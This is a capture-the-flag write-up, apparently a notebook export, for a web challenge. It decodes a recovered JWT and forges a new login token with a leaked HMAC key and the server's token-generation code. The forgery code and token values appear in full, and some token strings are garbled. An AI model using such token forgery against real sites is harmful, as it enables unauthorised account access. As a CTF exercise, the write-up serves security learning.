

task6

December 8, 2022

1 Task 6 - Gaining Access - (Web Hacking, [redacted])Points: 150

1.1 Problem statement

We've found the login page on the ransomware site, but we don't know anyone's username or password. Luckily, the file you recovered from the attacker's computer looks like it could be helpful. Generate a new token value which will allow you to access the ransomware site. Enter a token value which will authenticate you as a user of the site.

1.2 What to do

Enter a token value which will authenticate you as a user of the site.

1.3 Write-up

Let us check the task5's decrypted data, which contains a token value. This may be useful to authenticate you as a user of the site.

```
[1]: %%bash
cat ./data/task5/data.dec | awk '{ print $7 }'
```

```
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOiJlMjNTUyNjAwMzMsImV4cCI6MTY1Nzg1MjA  
zMWwic2VjIjozM0hldjJOamFpNnZ3NmxCVjJbWw0T2FLOHBDSU1TN2kiLCJ1aWQiOiI1MDM2fQ.KErC  
nyV2cYBTza4404wj_PDiNU8K1XbdTyZhDReoJN0
```

This is the format of JWT. Let's decode it!

This is decoded result of the token in <https://jwt.io/>.

Encoded

PASTE A TOKEN HERE

```
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOiE2NTUyNjAwMzImV4cCI6MTY1Nzg1MjAzMywic2VjIjoim0hldjJ0amFpNnZ3NmxCVjJkbWw0T2FLOHBDSU1TN2kiLCJ1aWQiOiI1MDM2fQ.KErCnyV2cYBTza4404wj_PDiNU8K1XbdTyZhDReoJN0
```

Decoded

EDIT THE PAYLOAD AND SECRET

HEADER: ALGORITHM & TOKEN TYPE

```
{
  "typ": "JWT",
  "alg": "HS256"
}
```

PAYLOAD: DATA

```
{
  "iat": 1655260033,
  "exp": 1657852033,
  "sec": "3Hev2Njai6vw6lSqRIml40aK8pCIMS7i",
  "uid": 25036
}
```

VERIFY SIGNATURE

```
HMACSHA256(
  base64UrlEncode(header) + "." +
  base64UrlEncode(payload),
  your-256-bit-secret
) ☒ secret base64 encoded
```

Remember the source code you get at B2.

```
def generate_token(userName):
    """ Generate a new login token for the given user, good for 30 days"""
    with userdb() as con:
        row = con.execute("SELECT uid, secret from Accounts WHERE userName = ?", (userName,)).fetchone()
        now = datetime.now()
        exp = now + timedelta(days=30)
        claims = {'iat': now,
                  'exp': exp,
                  'uid': row[0],
                  'sec': row[1]}
        return jwt.encode(claims, hmac_key(), algorithm='HS256')
```

Let us generate the new token, combining the decoded value and the code.

```
[2]: import jwt
from datetime import datetime
from datetime import timedelta

def hmac_key():
    return "GdmeB1BW8IguzcU445QUEnKQJKl8ptuY"
now = datetime.now()
exp = now + timedelta(days=30)
sec = "3Hev2Njai6vw6lSqRIml40aK8pCIMS7i"
uid = 25036
claims = {'iat': now,
          'exp': exp,
          'sec': sec,
          'uid': uid}
```

```
token = jwt.encode(claims, hmac_key(), algorithm='HS256')  
print(token)
```

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOiJlMzA1MDUwMjIsImV4cCI6MTY3MzA5NzAyMiwiYm9keiI6IjEwM0hldjJ0amFpNnZ3Nm90T2FLOHBDSU1TN2kiLCJ1aWQiOiI1MDM2fQ.fGELPB5jTtTbBxf0VhBgEp8mbff--0groZj9ZUDuXfc

Input this token value, and you've got the flag!

